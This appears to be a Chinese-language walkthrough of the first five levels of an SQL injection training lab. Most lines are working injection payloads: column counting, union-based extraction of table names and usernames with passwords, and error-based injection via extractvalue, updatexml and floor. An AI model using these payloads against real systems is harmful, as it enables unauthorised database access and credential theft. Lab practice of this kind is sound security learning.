1
?id=1
?id=1'
?id=1%27--+
?id=1' order by 1--+
?id=1' order by 4--+
所以有四个字段
?id=1' union select 1,2,3--+
因为web页面只能显示一行数据
?id=-1' union select 1,2,3--+
将让第一行数据显示不出来
或者
?id=1' union select 1,2,3 limit 1,1--+
可以看到有回显的字段2和字段3
?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+
查表名
看users表吧
?id=-1 ' union select 1,2,group_concat(column_name) from information_schema.columns where table_name = 'users' --+
查users表中的列名
如果过滤了等号= ，可以用like 替换
-1 ' union select 1,group_concat(username),group_concat(password) from users --+
2
?id=1'
?id=1'--+
?id=1 and 1=1
?id=1 and 1=2
所以是数字型注入
然后和上一题操作基本一致，去掉一个单引号即可
-1 union select 1,2,group_concat(0x7e,username,0x7c,password) from users
3
加了单引号之后还用括号括了起来
?id=-1') union select 1,2,3%23
4
?id=-1") union select 1,2,3%23
这几种是比较经典的
’
')
‘))
"
")
"))
5
?id=1
回显的那两个字段不见了
这一题没有回显 但是有报错，我们就需要构造特殊的语句，将数据显示在报错里，来读取数据
MySQL一共有十种报错注入
常用的三种
extractvalue
extractvalue(1,concat(0x7e,(select @@version),0x7e))
updatexml
updatexml(1,concat(0x7e,(select @@version),0x7e),1)
floor
前两个是通过xpath语法报错，带出信息
?id=1' union select 1,2,3 or extractvalue(1,concat(0x7e,(select database()),0x7e));--+
?id=1' union select 1,2,3 or extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e));--+
?id=1' union select 1,2,3 or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1);--+
用这两种不知道为啥没带出来
用floor试试
?id=1' union select 1,count(*),concat(0x3a,0x3a,(select database()),0x3a,0x3a,floor(rand(0)*2)) a from information_schema.columns group by a;--+
?id=1' union select 1,count(*),concat(0x3a,0x3a,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x3a,0x3a,floor(rand(0)*2)) a from information_schema.columns group by a;--+
?id=1' union select 1,count(*),concat(0x3a,0x3a,(select group_concat(column_name) from information_schema.columns where table_name = 'users'),0x3a,0x3a,floor(rand(0)*2)) a from information_schema.columns group by a;--+
